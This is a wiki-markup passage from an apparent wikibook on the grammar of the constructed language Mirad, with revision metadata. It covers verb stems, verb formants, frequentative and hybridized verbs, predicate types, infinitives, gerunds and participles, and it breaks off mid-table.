| '''teatyofwer'''&lt;br&gt;''be invisible'' || '''teetyofwer'''&lt;br&gt;''be inaudible'' || '''teityofwer'''&lt;br&gt;''be undetectable&lt;br&gt;odorwise'' || '''teityofwer'''&lt;br&gt;''be insipid'' || '''tayotyofwer'''&lt;br&gt;''be undetectable&lt;br&gt;by touch'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofxer'''&lt;br&gt;''blind'' || '''teetyofxer'''&lt;br&gt;''deafen'' || '''teityofxer'''&lt;br&gt;''desensitize&lt;br&gt;to smell'' || '''teutyofxer'''&lt;br&gt;''desensitize to&lt;br&gt;taste'' || '''tayotyofxer'''&lt;br&gt;''desensitize'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofwaxer'''&lt;br&gt;''make invisible'' || '''teetyofwaxer'''&lt;br&gt;''make inaudible'' || '''teityofwaxer'''&lt;br&gt;''make odorless'' || '''teutyofwaxer'''&lt;br&gt;''render tasteless'' || '''tayotyofwaxer'''&lt;br&gt;''numb'' 
|}
: Examples of usage:

:* '''At &lt;u&gt;teatyofxwa&lt;/u&gt; bey ha mani.'''....''I &lt;u&gt;was blinded&lt;/u&gt; by the lights.''
:* '''Ha xeus sa &lt;u&gt;teetyofxyea&lt;/u&gt;.'''....''The noise was &lt;u&gt;deafening&lt;/u&gt;.''
:* '''Hia tit se gla &lt;u&gt;teatiyafa&lt;/u&gt;.'''....''This pupil is very &lt;u&gt;perceptive&lt;/u&gt;.''
:* '''Hua bekil se &lt;u&gt;teityofwa&lt;/u&gt;.'''....''That medicine is &lt;u&gt;odorless&lt;/u&gt; (impossible to smell).''
:* '''&lt;u&gt;Teatyofwaxu&lt;/u&gt; ha vyuni.'''....''&lt;u&gt;Make&lt;/u&gt; the spots &lt;u&gt;invisible&lt;/u&gt;.''
:* '''Ha magmemyaz yonpyexlun &lt;u&gt;tayotyafwa&lt;/u&gt; zya ha mir.'''....''The volcano eruption &lt;u&gt;could be felt&lt;/u&gt; throughout the world.''

== Frequentative Verbs ==
:Frequentative verbs or repetitive action verbs can be formed with the prefix '''je-'''.  This prefix gives the verb the meaning ''to keep on doing something''.

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Frequentative Verbs
|-
! Normal !! Frequentative
|-
| '''teaxer'''....''to look''||'''&lt;u&gt;je&lt;/u&gt;teaxer'''....''to watch''
|-
| '''bexer'''....''to hold''||'''&lt;u&gt;je&lt;/u&gt;bexer'''....''to conserve''
|-
| '''byexer'''....''to hit''||'''&lt;u&gt;je&lt;/u&gt;byexer'''....''to batter''
|-
| '''zoigper'''....''to pursue''||'''&lt;u&gt;je&lt;/u&gt;zoigper'''....''to stalk''
|-
| '''duler'''....''to urge'' || '''&lt;u&gt;je&lt;/u&gt;duler'''....''to nag''
|}

== Hybridized Verbs ==
: Verbs that involve motion directions that change back and forth can be formed by hybridizing the stem vowel or the vowel of the vectorial prefix.  Here are some examples:

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Hybridized Verbs
|-
! First Verb !! Second Verb !! Hybridized Verb
|-
| '''py&lt;u&gt;a&lt;/u&gt;ser'''....''jump up''|| '''py&lt;u&gt;o&lt;/u&gt;ser'''....''fall down'' || '''py&lt;u&gt;ao&lt;/u&gt;ser'''....''bounce, undulate''
|-
| '''buer'''....''give'' || '''bier'''....''take'' || '''buier'''....''exchange''
|-
| '''nuer'''....''furnish'' || '''nier'''....''consume'' || '''nuier'''....''trade''
|-
| '''tuer'''....''inform'' || '''tier'''....''learn'' || '''tuier'''....''communicate''
|-
| '''yaper'''....''ascend'' || '''yoper'''....''descend'' || '''yaoper'''....''go up and down''
|-
| '''zayper'''....''go forward'' || '''zoyper'''....''go back'' || '''zaoper'''....''vacillate''
|-
| '''vader'''....''affirm'' || '''voder'''....''deny'' || '''vaoder'''....''decide''
|-
| '''yijber'''....''open'' || '''yujber'''....''close'' || '''uijber'''....''valve''
|-
| '''baser'''....''stir'' || '''boser'''....''be still'' || '''baoser'''....''vibrate''
|}

== Expressing Habitual Actions and States ==
: Mirad uses the term '''gel jubyen''' (''as a habit'') to express a verb reflecting habitual action, eg:
::* '''At tijeya be yiwa jwobi gel jubyen.'''....''I used to wake up at 9 o'clock.'' (Lit. ''I was waking up at 9 o'clock as a habit.'').
: The term '''hyujod'''....''one another occasion'' (or '''be aj'''....''in the past'') is use to express ''once (upon a time)'', eg:
::* '''At sa tuxut hyujod (~ be aj) sa tuxut.''' ....''I once was a teacher.''
: The term '''vyabxelay''' (''routinely'') can also be used, eg:
::* '''Yat eke duz yuz bi ha doym vyabxelay.'''....''We play music around town routinely.''

== Expressing an Immediate Past ==
: To express an immediate past, such as in the sentence ''&quot;We have just gotten married.&quot;'', Mirad uses the adverb '''ejnay''' (''newly'') much like the word ''just'' in English:
::* '''Yat tadsaye &lt;u&gt;ejnay&lt;/u&gt;.'''....''We have &lt;u&gt;just&lt;/u&gt; gotten married.''
::* '''&lt;u&gt;Ejnay&lt;/u&gt; tadxwa.'''....''&lt;u&gt;Just&lt;/u&gt; married.''
::* '''Wit dokebiwa &lt;u&gt;ejnay&lt;/u&gt;.'''....''He was &lt;u&gt;just&lt;/u&gt; elected.''
::* '''At ujbaya yex &lt;u&gt;ejnay&lt;/u&gt; hoj iyt yebupa.'''....''I had &lt;u&gt;just&lt;/u&gt; finished work when she came in.''

== Verb Predicate Types ==
: Mirad verb predicates can be classified as follows:
:* '''''Voice'''''
::* Active (The subject is the doer of the action)
::* Passive (The subject is the receiver of the action)
::* Middle (The subject is both the agent and patient)
::* Reflexive (The subject is also the patient.)
::* Reciprocal (Plural subjects interact.)
:* '''''Stativity'''''
::* Stative (Does not involve action)
::* Dynamic (Action is involved)
:* '''''Valency'''''
::* Impersonal (There is no subject)
::* Transitive (There is an object)
::* Intransitive (There is no object)
::* Auto-transitive (The subject is a patient and there is no agent)
::* Anti-transitive (There is the patient but an agent is assumed)
::* Causative (Subject causes an action to be performed)
::* Copula (X is Y)
:* '''''Other'''''
::* Modal (''can, must, should, wants to''...)
::* Auxiliary (''help to, hope to, prepare to'' + verb)
::* Motion (''run, go, ride''...)
::* Communication (''say, answer, claim that...'')
::* Gesture (''put, shake, hit...'')
::* State/Stative (''be, become, live, be born...'')
::* Action/Dynamic (''do, act, make'')

{| class=&quot;wikitable&quot; style=&quot;background: lightYellow;;{{Text default color}};font-size:smaller;&quot;
|+ Verb Predicate Types
|-
! Voice !! Stativity!! Valency !! Example
|-
| active || stative || impersonal, -agent, -object || '''Mamilo zajub.'''....''It will rain tomorrow.''
|-
| active || stative || impersonal, -agent, +complement || '''Sa gla oma.'''....''It was very cold.''
|-
| active || stative || impersonal, +subject || '''Ese het be ha mes.'''....''There is someone at the door.''
|-
| active || stative || copula, subject + noun/adjective complement || '''Et se ata twud.'''....''You are my son.''&lt;br&gt;'''At aseye ebbyextipa.'''....''I am becoming angry.''
|-
| middle || stative || auto-transitive, +subject=patient -agent -object || '''Iyt toja.'''....''She died''
|-
| middle || stative || auto-transitive, +subject=patient +agent -object || '''Ha mes yija.'''....''The door opened.''
|-
| active || stative || intransitive, +subject -object|| '''Et bokso.'''....''You will get sick.''
|-
| active || stative || transitive, sense, +subject +object || '''At teate et.'''....''I see you.''
|-
| active || stative || transitive, modal, +subject +verb complement || '''At fe per.'''....''I want to go.''
|-
| active || stative || intransitive, subject-oriented modal, -subject +verb complement || '''Yofwe teater.'''....''It is impossible to see.'' 
|-
| passive || stative || patient-oriented modal, +subject || '''Mamil yakwe.'''....''Rain is expected.''
|-
| middle || dynamic || anti-transitive, +subject=patient +agent -object || '''Ha mes yijpa.'''....''The door came open.''
|-
| active || dynamic || intransitive, +subject -object|| '''Ha fab pyosa.'''....''The tree fell.''
|-
| active || dynamic || transitive, +subject  +-object || '''Yit pyoxa ha fab.'''....''They felled the tree.''
|-
| passive || dynamic || intransitive, +subject, -object || '''Ha fabi pyoxwa.'''....''The trees were felled.''
|-
| active || dynamic || transitive, +subject, +object|| '''Obu eta tef.'''....''Take your hat off.''
|-
| active || dynamic || ditransitive, +subject, +object +object || '''Von et buu iyt ha nas.'''....''Don't give her the money.''
|-
| active || dynamic || transitive, motion, +subject, +destination/origin || '''Yupu ha seem.'''....''Approach the bench.''&lt;br&gt;'''Pu tam!'''....''Go home!'' (''you'' implied)
|-
| active || dynamic || causative, +subject +object, +agent || '''At tayegobluxo Jon.'''....''I will get my hair cut by John.''
|-
| passive || dynamic || causative, +subject +object, +agent || '''At tayegobluxwo.'''....''I will get my hair cut.''
|-
| active || dynamic || auxiliary, ditransitive, +patient +verb object || '''Yuxu at xer his.'''....''Help me do this.''
|-
| passive || dynamic || auxiliary, ditransitive, +patient +verb object || '''At tuxwa eker duz.'''....''I was taught to play music.''
|-
| middle || dynamic || reflexive, +subject = patient, -object || '''Iyt uttojba.'''....''She killed herself.''
|-
| active || dynamic || reciprocal, +subjects = patients || '''Yit voy hyuitdale gaj.'''....''They don't talk to one another anymore.''
|}
&lt;noinclude&gt;{{Chapter navigation with TOC|Pronouns|Prepositions}}&lt;/noinclude&gt;</text>
      <sha1>27pefymn0icdu5r4qkpb31nh8a53uyg</sha1>
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    <revision>
      <id>4670507</id>
      <parentid>4670506</parentid>
      <timestamp>2026-09-16T20:50:38Z</timestamp>
      <contributor>
        <username>Tyoyafud</username>
        <id>6233</id>
      </contributor>
      <comment>/* Expressing More Intense Actions with az- */</comment>
      <origin>4670507</origin>
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== The Verb Stem  ==
[[File:Various forms of using the verb &quot;to inform&quot; in LSC.png|thumb|]]
: Verbs in Mirad are listed in the dictionary under the present active infinitive (see [[Mirad Grammar/Verbs#Non-finite Forms]]), such as '''yexer'''....''to work''. The infinitive minus the '''er''' ending is the stem.  The stem is used as the base for all other verbal instantiations.  The infinitive as listed in the dictionary is usually active in voice, but occasionally a passive infinitive ending in '''-wer''' will be lexicalized because it is somehow special, so then, the stem is still the infinitive minus the '''-er''' ending.  All Mirad verbs are conjugated in the same way and there are no exceptions.

: This shows how to determine the '''''stem''''' of a verb listed in the dictionary:


::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Stems
|-
! Simple Infinitive !! Stem&lt;big&gt;+&lt;/big&gt;Infinitive Ending
|-
| '''yex&lt;u&gt;er&lt;/u&gt;'''....''to work'' || '''yex&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''pos&lt;u&gt;er&lt;/u&gt;'''....''to (come to a) stop''  || '''pos&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''x&lt;u&gt;er&lt;/u&gt;'''....''to do'' || '''x&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''xw&lt;u&gt;er&lt;/u&gt;'''....''to happen, be done'' (PASSIVE)|| '''xw&lt;big&gt;+&lt;/big&gt;er'''
|}
=== Verb Formants ===
: The active stems of verbs most often end in one of the following verb formants:

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Formats
|-
! Verb Formant !! Function !! Examples
|-
| '''-x-''' || action or causation || '''xer'''....''to do'', '''saxer'''....''to create'', '''agaxer'''....''to magnify'', '''yixer'''....''to use'', '''abaxer'''....''to pat''
|-
| '''-xl-'''|| forceful action || '''yixler'''....''to employ'', '''abaxler'''....''to knead''
|-
| '''-xr-'''|| more forceful action || '''yixrer'''....''to wear out'', '''abaxrer'''....''to rub''
|-
| '''-b-'''|| gesture || '''ber'''....''to put'', '''aber'''....''to apply'', '''yujber'''....''to close'', '''gober'''....''to subtract''
|-
| '''-bl-'''|| forceful gesture || '''yujbler'''....''to lock'', '''gobler'''....''to cut''
|-
| '''-br-'''|| more forceful gesture || '''yobrer'''....''to knock down'', '''gobrer'''....''to chop''
|-
| '''-s-''' || state or becoming || '''ser'''....''to be'', '''eser'''....''to exist'', '''aser'''....''to become'', '''beser'''....''to remain'', '''paser'''....''to move''
|-
| '''-sl-''' || more intensive || '''besler'''....''to linger'', '''pasler'''....''to shake''
|-
| '''-sr-''' || most intensive || '''besrer'''....''to loiter'', '''pasrer'''....''to convulse''
|-
| '''-p-''' || motion or going || '''per'''....''to go'', '''yaper'''....''to ascend'', '''paper'''....''to fly''
|-
| '''-pl-''' || more intensive || '''yapler'''....''to climb'', '''zyepler'''....''to intrude''
|-
| '''-pr-''' || most intensive || '''yaprer'''....''to scramble up'', '''yeprer'''....''to break in''
|-
| '''-i-'''|| action toward subject || '''bier'''....''to take'', '''nier'''....''to consume'', '''ifier'''.'..''to enjoy'', '''dier'''....''to ask''
|-
| '''-u-'''|| action toward object || '''buer'''....''to give'', '''nuer'''....''to supply'', '''ifuer'''....''to please'', '''duer'''....''to suggest''
|-
| '''-d-''' || communication || '''der'''....''to say'', '''vader'''....''to affirm'', '''yevder'''....''to judge''
|-
| '''-dr-''' || writing || '''drer'''....''to write'', '''teedrer'''....''to report'', '''taxdrer'''....''to record''
|-
| '''-dy-''' || reading || '''dyer'''....''to read''
|-
| '''-t-''' || knowing (a thing)|| '''ter'''....''to know'', '''tester'''....''to understand'', '''teater'''....''to see''
|-
| '''-tr-''' || knowing (a person)|| '''trer'''....''to recognize''
|-
| '''-ty-''' || knowing (how) || '''tyer'''....''to know how''
|-
| '''-f-''' || volition and modal verbs || '''fer'''....''to want'', '''ifer'''....''to love'', '''ufer'''....''to hate'', '''yafer'''....''to be able''
|-
| '''-fi-''' || toward the subject || '''ifier'''....''to enjoy''
|-
| '''-fu-''' || toward a patient || '''ifuer'''....''to amuse''
|-
| '''-fl-''' || more intensive || '''ifler'''....''to be fond of'', '''yafler'''....''to wield power''
|-
| '''-fli-''' || toward the subject || '''iflier'''....''to be charmed by''
|-
| '''-flu-''' || toward a patient || '''ifluer'''....''to enchant''
|-
| '''-fr-''' || most intenstive || '''ifrer'''....''to worship'', '''ufrer'''....''to loathe'', '''yufrer'''....''to cringe''
|-
| '''-fri-''' || toward the subject || '''ifrier'''....''to become infatuated with''
|-
| '''-fru-''' || toward a patient || '''ifruer'''....''to infatuate''
|-
| '''-v-''' || some modal verbs || '''yiver'''....''to have a right to'', '''yuver'''....''to have a duty to''
|-
| '''-vi-''' || toward the subject || '''ivier'''....''to derive joy from''
|-
| '''-vu-''' || toward a patient || '''ivuer'''....'' to cheer up''
|-
| '''-vl-''' || more intensive || '''yuvler'''....''to be bound to'', '''yavler'''....''to be proud''
|-
| '''-vli-''' || toward the subject || '''yavlier'''....''to take pride in''
|-
| '''-vlu-''' || toward a patient || '''yavluer'''....''to instill pride in''
|-
| '''-vr-''' || most intensive || '''uvrer'''....''to grieve''
|-
| '''-vri-''' || toward the subject || '''uvrier'''....''to grieve''
|-
| '''-vru-''' || toward a patient || '''uvruer'''....''to aggrieve''
|-
| '''-k-''' || various verbs || '''aker'''....''to win'', '''oker'''....''to lose'', '''eker'''....''to play'', '''yeker'''....''to try'', '''yaker'''....''to expect'', '''yoker'''....''to be surprised by''
|-
| '''-ki-''' || toward the subject || '''akier'''....''to gain from'', '''yekier'''....''to undertake''
|-
| '''-ku-''' || toward a patient || '''yekuer'''....''to challenge''
|-
| '''-kl-''' || more intensive || '''akler'''....''to conquer'', '''yekler'''....''to strive''
|-
| '''-kli-''' || toward the subject || '''eklier'''....''to take a risk''
|-
| '''-klu-''' || toward a patient || '''ekluer''....''to put at risk''
|-
| '''-kr-''' || most intensive || '''akrer'''....''to triumph''
|-
| '''-j-''' || opening/closing || '''ijer'''....''to begin'', '''ujer'''....''to end'', '''tajer'''....''to be born'', '''tojer'''....''to die'', '''yujer'''....''to close''
|-
| '''-jl-''' || more intensive || '''yujler'''....''to lock''
|-
| '''-jr-''' || most intensive || '''yujrer'''....''to block''
|-
| '''-l-''' || a few verbs || '''baler'''....''to press'', '''boler'''....''to support'', '''beler'''....''to carry'', '''daler'''....''to speak'', '''deler'''....''to state'', '''doler'''....''to be quiet'', '''galer'''....''to multiply'', '''goler'''....''to divide'', ....'''mageler'''....''to cook''
|-
| '''-r-''' || a few verbs || '''ingarer'''....''to cube'', '''engorer'''....''to get the square root of'''''barer'''....''to crush''
|-
| '''-ar-'''&lt;br&gt;'''-ir-'''&lt;br&gt;'''-ur-'''|| tool use || '''ukarer'''....''to shovel'', '''purer'''....''to drive'', '''myekirer'''....''to mill''
|-
| '''-z-'''|| perform an art || '''dazer'''....''to dance'', '''dezer'''....''to act'', '''deuzer'''...''to sing''
|}
: Verbs containing formants '''s''' or '''p''' are generally intransitive, while all the other formants create transitive verbs.  All of the verbs with transitive formants can be passivized by adding '''w''', eg.:
:* '''oker'''....''to lose'' &lt;big&gt;→&lt;/big&gt; '''okwer'''....''to be lost''
:* '''baler'''....''to press'' &lt;big&gt;→&lt;/big&gt; '''balwer'''....''to be pressed''
:* '''koxer'''....''to hide''  &lt;big&gt;→&lt;/big&gt; '''koxwer'''....''to be hidden''
:* '''ujler'''....''to lock''  &lt;big&gt;→&lt;/big&gt; '''ujlwer'''....''to be locked''
:* '''ser'''....''to be'' (cannot be passivized)
:* '''per'''....''to go'' (cannot be passivized)
: Some verbs with formants '''-pl-''' and '''-pr-''' can usually be passivized with '''w''', eg.:
:* '''yaprer'''....''to climb''  &lt;big&gt;→&lt;/big&gt; '''yaprwer'''....''to be climbed''
:* '''aypler'''....''to surmount''  &lt;big&gt;→&lt;/big&gt; '''ayplwer'''....''to be surmounted''

== Verb Categories ==

: Verbs have '''''morphological categories''''', which involve changes to the verb not always found in the dictionary, but developed through rule-bound affixation (such as ''live'', ''lives'', ''lived'', ''living'').  They also have '''''lexical categories''''', which involve derived forms usually listed in dictionaries (''enjoy'', ''enjoyable'', ''enjoyment'')

=== Morphological Categories ===
 
: Verbs are inflected with the following '''''morphological categories''''': 

::* '''''2 states''''': finite, non-finite
::* '''''4 tenses''''': present, past, future, atemporal&lt;sup&gt;1&lt;/sup&gt;
::* '''''5 aspects''''': simple, progressive, perfect, imminent, potential
::* '''''2 voices''''': active, passive
::* '''''2 moods''''': indicative, hypothetical


:&lt;small&gt;'''''Note 1:''''' The term &quot;atemporal&quot; means that tense is not marked.  For example, in Mirad, '''Pu!''' is the imperative of the verb '''per'''....''to go''.  It means ''Go!'' and is atemporal.  The '''-u''' ending is an atemporal hypothetical mood marker.&lt;/small&gt;

: In effect, the PERSON/NUMBER category is not listed above, because this category does not affect the morphology of the Mirad verb form itself. The Mirad verb form stays the same for all persons and numbers.  That information is contained in the external subject pronouns governing the verb.  In English, for example, the verb &quot;be&quot; has several different forms in the present tense verb form depending on the person and number (I &lt;u&gt;am&lt;/u&gt;, you &lt;u&gt;are&lt;/u&gt;, he &lt;u&gt;is&lt;/u&gt;, we &lt;u&gt;are&lt;/u&gt;, etc.), but not so in Mirad.  The following chart shows how the English pattern differs from the corresponding single Mirad verb form '''se''' for all persons and numbers:


:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller&quot;
|+ Verb '''ser''' (''to be'') Unchanged for person/number
|-
! Person !! Number !! English !! Mirad
|-
!row=1| 1st !! row=1 rowspan=3| Singular 
| ''I &lt;u&gt;am&lt;/u&gt;'' || '''at &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you &lt;u&gt;are&lt;/u&gt;'' || '''et &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''he/she &lt;u&gt;is&lt;/u&gt;'' || '''it &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 1st !! row=1 rowspan=3| Plural 
| ''we &lt;u&gt;are&lt;/u&gt;'' || '''yat &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you (pl.) &lt;u&gt;are&lt;/u&gt;'' || '''yet &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''they &lt;u&gt;are&lt;/u&gt;'' || '''yit &lt;u&gt;se&lt;/u&gt;'''
|}

: This invariability of person/number exists for all tenses.

=== Lexical Categories ===

:: In addition, verbs can be described in terms of the following opposing '''''lexical''''' categories.  By lexical, is meant that verbs having different lexical properties are listed in the dictionary and have nothing to do with conjugation.


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;margin-left:1.6em;&quot;
|+ Verb Lexical Categories
|-
! Stative !! Dynamic
|-
| '''ser'''....''to be'' || '''xer'''....''to do''
|-
! Intransitive !! Transitive
|-
| '''agaser'''....''to grow large'' || '''agaxer'''....''to magnify''
|-
! Subject-directed !! Patient-directed
|-
| '''bier'''....''to take'' || '''buer'''....''to give''
|-
! Reflexive !! Non-reflexive
|-
| '''utvyixer'''....''to wash up (wash oneself)'' || '''vyixer'''....''to wash''
|-
! Inchoative !! Causative
|-
| '''tujper'''....''fall asleep'' || '''tujber'''....''put to sleep''
|-
! Autonomous !! Dynamic
|-
| '''yijer'''....''to open (by itself)'' || '''yijber'''....''to (make it) open''
|-
! Reciprocal !! Non-reciprocal
|-
| '''hyuittujber'''....''to kill one another'' || '''tujber'''....''to kill''
|-
! Gestural !! Locomotive
|-
| '''baser'''....''to stir, budge'' || '''paser'''....''to move''
|-
! Subject-oriented !! Object-oriented
|-
| '''teetyiker'''....''to be hard of hearing'' || '''teetyikwer'''....''to be hard to hear''
|}

== Non-finite Forms ==
: '''''Non-finite verb forms''''' are
::* not conjugated for person or number
::* cannot form a predicate
::* and do not have a subject.  

: There are three kinds of non-finite verb forms in Mirad:

::* '''''infinitives''''': the dictionary lookup form of a verb, ending in '''-er'''
:::* '''der'''....''to say'', '''tixayer'''....''to have studied'', '''xwer'''....''to be done''
::* '''''gerunds''''': verbal nouns, ending in '''-en'''
:::* '''byasen'''....''(the act of) standing''
::* '''''participles''''': verbal adjectives, ending in '''-a'''
:::* '''tejea'''....''living (alive)'', '''twa'''....''known'', '''piya'''....''departed''
=== Infinitives ===
: Verbs are listed in the dictionary under the '''''active voice simple aspect infinitive''''' form, which always ends in '''er''' and means ''to X'', or rarely the passive voice simple aspect infinitive form, which ends in '''wer''' and means ''to be Xed''.  The part of the verb form minus the '''-er''' or '''-wer''' is the '''''verb stem'''''. Very rarely at verb can be expressed as a past active or past passive infinitive in '''ayer''' and '''awer''', respectively. (For example: '''Tejayer boy ifawer naze glo.'''....''To have lived without having loved counts little.'').

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em&quot;
|+ Infinitive Stems
|-
! Infinitivw || Stem !! Ending
|-
| '''agser'''....''to grow'' || '''ags-''' || '''-er'''  
|-
| '''igxer'''....''to quicken'' || '''igx-''' || '''-er''' 
|-
| '''per'''....''to go'' || '''p-''' || '''-er'''  
|-
| '''xwer'''....''to happen, be done'' || '''x-''' || '''-wer''' 
|-
| '''tejayer'''....''to have lived'' || '''tej-''' || '''-ayer'''
|-
| '''ifawer'''....''to have loved'' || '''if-''' || '''-awer'''
|}

: The infinitive in Mirad is used very much as its counterpart in English.  The infinitive can be marked for two aspects (simple, perfect) and two voices (active, passive), as shown in the chart below, where the verb stems are underlined:


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Active and Passive Infinitive Stems
|-
! Aspect !! Active Voice !! Passive Voice
|-
!row=1| Simple
| '''&lt;u&gt;igx&lt;/u&gt;er'''....''to quicken'' || '''&lt;u&gt;igx&lt;/u&gt;wer'''....''to be quickened''
|-
!row=1| Perfect
| '''&lt;u&gt;igx&lt;/u&gt;ayer'''....''to have quickened'' || '''&lt;u&gt;igx&lt;/u&gt;awer'''....''to have been quickened''
|}

: In the above chart,
::* the verb stem is '''igx-''' and
::* the infinitive marker is '''-er''';
::* the simple aspect active voice marker is zero;
::* the simple aspect passive voice marker is '''w''';
::* the perfect aspect active voice marker is '''-ay-''';
::* the past aspect passive voice marker is '''-aw-'''.

The passive voice infinitive of a verb will not appear in the dictionary unless it has a special meaning, such as '''xwer''' ''to happen (= to be done)''.  The perfect infinitives are never listed in the dictionary.

=== Gerunds ===
: The gerund is a verbal noun like English ''playing'' in ''playing ball.''
: The gerund has two possible '''''aspects''''' (simple and perfect) and two possible '''''voices''''' (active and passive):

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em; &quot;
|+ Gerund Formation
|-
! Aspect !! Voice !! Ending !! Example
|-
!row=1| Simple !! Active 
| '''-en''' || '''agax&lt;u&gt;en&lt;/u&gt;'''....''magnifiying, magnification''
|-
!row=1| Simple !! Passive
| '''-wen''' || '''agax&lt;u&gt;wen&lt;/u&gt;'''....''being magnified''
|-
!row=1| Perfect !! Active 
| '''-ayen''' || '''byek&lt;u&gt;ayen&lt;/u&gt;'''....''having cured''
|-
!row=1| Perfect !! Passive 
| '''-awen''' || '''byek&lt;u&gt;awen&lt;/u&gt;'''....''having been cured''
|}

: Note: Intransitive verbs like '''per''' ''to go'' do not have a passive gerund form.

: Lexicalized gerunds, such as '''sanxen''' ''formation, forming'' generally appear in the dictionary in the active voice.

: Some examples of gerund usage:

::* ('''sanxer'''....''to form'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ha &lt;u&gt;sanxen&lt;/u&gt; bi hia mar efxa amroni bi jabi.'''....''The &lt;u&gt;forming&lt;/u&gt; (or: &lt;u&gt;formation&lt;/u&gt;) of this star took millions of years.''
::* ('''deuzer'''....''to sing'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Iyta &lt;u&gt;deuzen&lt;/u&gt; sa gla via.'''....''Her &lt;u&gt;singing&lt;/u&gt; was very beautiful.''
::* ('''poper'''....''to travel'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Popen&lt;/u&gt; se yika yex.'''....''&lt;u&gt;Traveling&lt;/u&gt; is hard work.''
::* ('''teeter'''....''to hear'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teetwen&lt;/u&gt; fiay se teskyia av dezuti.'''....''&lt;u&gt;Being heard&lt;/u&gt; well is important for actors.''
::* ('''teater'''....''to see'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teaten&lt;/u&gt; se &lt;u&gt;vyatexen&lt;/u&gt;.'''.....''&lt;u&gt;Seeing&lt;/u&gt; is &lt;u&gt;believing&lt;/u&gt;.''
::* ('''uper'''....''to come'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''His se ha jeb bi &lt;u&gt;Upen&lt;/u&gt;.'''....''This is the season of &lt;u&gt;Advent&lt;/u&gt; (coming).''
::* ('''tadier'''....''to get married'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ata &lt;u&gt;tadiayen&lt;/u&gt; ewa jodi bixa tepzex.'''....''My &lt;u&gt;having married&lt;/u&gt; twice drew attention.''
::* ('''aker'''....''to win'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''At voy ta ita &lt;u&gt;akawen&lt;/u&gt; hua nuz.'''....''I did not know about his &lt;u&gt;having won&lt;/u&gt; that prize.''
: Gerunds, being verb forms, can take direct and indirect objects:
::* '''At ifxwe bey eta buayen at hua nas.'''....''I am pleased by your having given me that money.''
::* '''Tojben eut voy se kexbiyaf.'''....''Killing yourself is not an option.''

: The special gerundive ending '''-eyn''' gives a nuance emphasizing the action as a single act, much like the English endings ''-ment'' or ''-tion''.  Here are a few examples showing the difference between '''-en''' and '''-eyn'''.
::* '''yanlaxen'''....''combining''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''yanlaxeyn'''....''combination''
::* '''xen'''....''doing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''xeyn'''....''action, deed''
::* '''zayben'''....''advancing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zaybeyn'''....''advancement''

: Another special gerundive (but lexical) ending is '''-un''', which expresses the result of an action, eg.:
::* '''zyegxer'''....''to puncture''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyegxun'''....''a puncture''
::* '''zyeuber'''....''to transmit''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyeubun'''....''a broadcast''
::* '''deuzer'''....''to sing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''deuzun'''....''a song''

=== Participles ===
: Participles are verbal adjectives and can modify nouns and pronouns.  Since they act as adjectives, they have the adjectival ending '''-a'''.  Participles are marked by '''''aspect''''' (simple, progressive, perfect, imminent, potential) and '''''voice''''' (active, passive).
: The aspect markers per voice are:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Aspect Markers
|-
! Aspect !! Voice !! Form !! Example
|-
! rowspan=2| Progressive
! rowspan=1 | Active 
| '''-ea-''' || '''tejea'''....''living''
|-
! rowsspan=1 | Passive 
| '''wea''' || '''xwea'''....''happening, being done''
|-
! rowspan=2| Perfect
! rowspan=1 |Active
| '''-ya''' || '''pya'''....''gone''   (&lt; '''pyaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=1| Passive 
| '''-wa''' || '''xwa'''....''done''   (&lt; '''xwaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=2| Imminent
! Active 
